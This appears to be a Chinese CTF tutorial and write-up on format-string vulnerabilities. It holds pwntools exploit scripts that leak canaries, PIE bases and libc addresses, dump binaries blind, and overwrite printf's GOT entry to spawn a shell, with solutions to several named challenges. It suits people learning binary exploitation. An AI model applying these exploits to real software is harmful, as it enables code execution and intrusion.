PWN入门-格式化字符串漏洞 基础知识 %n 1 2 3 4 5 6 7 8 9 10 11 #include <stdio.h> void main () { int i; char str[]="hello" ; printf ("%s %n\n" ,str,&i); printf ("%d\n" ,i); };
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <cstdio> void main (void ) { char str[1024 ]; while (true ){ memset (str,'\0' ,1024 ); read(0 ,str,1024 ); printf (str); fflush(stdout ); }; return 0 ; };
pwntools:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *context(log_level='debug' ,os='linux' ,arch='i386' ) p=process("./attachment" ) elf=ELF("./attachment" ) libc=ELF("/lib/i386-linux-gnu/libc.so.6" ) def exec_fmt (payload ): p.sendline(payload) info=p.recv() return info auto=FmtStr(exec_fmt) offset=auto.offset printf_got=elf.got['printf' ] payload=p32(printf_got)+'%{}$s' .format (offset).encode() p.send(payload) printf_addr=u32(p.recv()[4 :8 ]) system_addr=printf_addr-(libc.symbols['printf' ]-libc.symbols['system' ]) payload=fmtstr_payload(offset,{printf_got:system_addr}) p.send(payload) p.send('/bin/sh' ) p.recv() p.interactive()
blind fmt,先确定偏移为7:
1 2 3 4 5 6 def exec_fmt (payload ): io.sendline(payload) info=io.recv() return info auto=FmtStr(exec_fmt) offset=auto.offset
把二进制文件dump出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def dump_memory (start_addr,end_addr ): result="" while start_addr<end_addr: io=remote("127.0.0.1" ,'10001' ) io.recvline() payload="%9$s.AAA" +p32(start_addr) io.sendline(payload) data=io.recvuntil(".AAA" )[:-4 ] if data=="" : data="\x00" log.info("leaking: 0x%x --> %s" %(start_addr,data.encode('hex' ))) result+=data start_addr+=len (data) io.close() return result start_addr=0x8048000 end_addr=0x8049000 code_bin=dump_memory(start_addr,end_addr) with open ("code.bin" ,"wb" ) as f: f.write(code_bin) f.close()
接下来想办法拿system内存地址,第一种方法泄漏printf:
1 2 3 4 5 6 7 def get_printf_addr (): io.recvline() payload="%9$s.AAA" +p32(printf_got) io.sendline(payload) data=u32(io.recvuntil(".AAA" )[:4 ]) log.info("printf address:0x%x" %data) return data
第二种方法用DynELF泄漏:
1 2 3 4 5 6 7 8 9 def leak (addr ): io.recvline() payload="%9$s.AAA" +p32(addr) io.sendline(payload) data=io.recvuntil(".AAA" )[:-4 ]+"\x00" log.info("leaking: 0x%x ---> %s" %(addr,data.encode('hex' ))) return data data=DynELF(leak,0x8048490 ) system_addr=data.lookup('system' ,'libc' )
做题 [HNCTF 2022 Week1]fmtstrre 函数传参前6个用寄存器rdi、rsi、rdx、rcx、r8、r9,从第七个开始压栈,所以“%7$s”表示输出栈地址第1个位置当作字符串输出,后4个“a”用于将格式化字符串8字节对齐,看到flag只出来一半就再往前推地址。
1 2 3 4 5 6 7 8 9 10 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) elf=ELF('./attachment' ) p=remote("node5.anna.nssctf.cn" ,28285 ) p.recvuntil("Input your format string." ) fmtstr=b'%7$saaaa' name_addr=p64(elf.sym["name" ]-0x20 ) payload1=flat([fmtstr,name_addr]) p.sendline(payload1) p.interactive()
[深育杯 2021]find_flag 首先前6个参数为寄存器传参,然后format数组所占空间为$\displaystyle\frac{\mathrm{0x}60-\mathrm{0x}08}{8}$字节,加起来后canary地址为第17个参数,ebp为第18个参数,return地址为第19个参数。
开了PIE保护,尝试泄漏sub_132F的返回地址,在原基址的情况下即为call sub_132F
的下一条指令mov eax,0
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context(arch='amd64' ,os='linux' ,log_level='debug' ) p=remote("node4.anna.nssctf.cn" ,28929 ) payload1="%17$p-%19$p" p.recvuntil("Hi! What's your name? " ) p.sendline(payload1) p.recvuntil("0x" ) canary1=int (p.recv(16 ),16 ) log.success("Canary: " +str (hex (canary1))) p.recvuntil("0x" ) elf_base=int (p.recv(12 ),16 )-0x146f system_addr=elf_base+0x1229 ret_addr=elf_base+0x101a stack_overflow=cyclic(0x40 -0x8 ) ebp_padding=cyclic(0x8 ) payload2=flat([stack_overflow,canary1,ebp_padding,ret_addr,system_addr]) p.recvuntil("Anything else? " ) p.sendline(payload2) p.interactive()
[HUBUCTF 2022 新生赛]fmt 从flag.txt中读取,本地建一个,里面随便输入一个“flag{asdfasdfasdf}”。
第一次先随便输入一串字符串,满足一个机器字长,例如“aaaaaaaa”。
查看栈空间,发现“aaaa”地址+4即为读到的flag地址。
第二次输入“bbbbbbbb%p.%p.%p.%p.%p.%p.%p.%p.%p…”,发现最开始的“bbbbbbbb”的16字节在第8个地址,那么flag在8+4地址,即从%12$p
开始。
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *from Crypto.Util.number import *context(log_level='debug' ,os='linux' ,arch='amd64' ) p=remote("node5.anna.nssctf.cn" ,28446 ) flag=b'' for i in range (12 ,20 ): p.recvuntil("Echo as a service" ) p.sendline('%{}$p' .format (i)) p.recvuntil("0x" ) s=p.recvuntil('\n' ) flag+=long_to_bytes(int (s,16 ))[::-1 ] print (flag)p.interactive()
[HDCTF 2023]KEEP ON 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(log_level='debug' ,os='linux' ,arch='amd64' ) def exec_fmt (payload ): p=process("./attachment" ) p.recvuntil("please show me your name: \n" ) p.sendline(payload) info=p.recv() p.close() return info auto=FmtStr(exec_fmt) offset=auto.offset p=remote("node4.anna.nssctf.cn" ,28631 ) p.recvuntil("please show me your name: \n" ) elf=ELF("./attachment" ) system_plt_addr=elf.plt["system" ] printf_got_addr=elf.got["printf" ] payload1=fmtstr_payload(offset,{printf_got_addr:system_plt_addr}) p.send(payload1) stack_overflow=cyclic(0x50 +8 ) vuln=p64(elf.symbols["vuln" ]) payload2=flat([stack_overflow,vuln]) p.recvuntil("keep on !\n" ) p.send(payload2) p.recvuntil("please show me your name: \n" ) payload3=b'/bin/sh\x00' p.send(payload3) p.interactive()
[MoeCTF 2022]babyfmt 不知道为啥本地能打通,远程找不到偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *context(log_level='debug' ,os='linux' ,arch='i386' ) p=remote("node5.anna.nssctf.cn" ,27082 ) elf=ELF("./pwn" ) def exec_fmt (payload ): p.sendline(payload) info=p.recv() return info offset=11 printf_got=elf.got["printf" ] backdoor_addr=elf.symbols["backdoor" ] payload=fmtstr_payload(offset,{printf_got:backdoor_addr}) p.sendline(payload) p.interactive()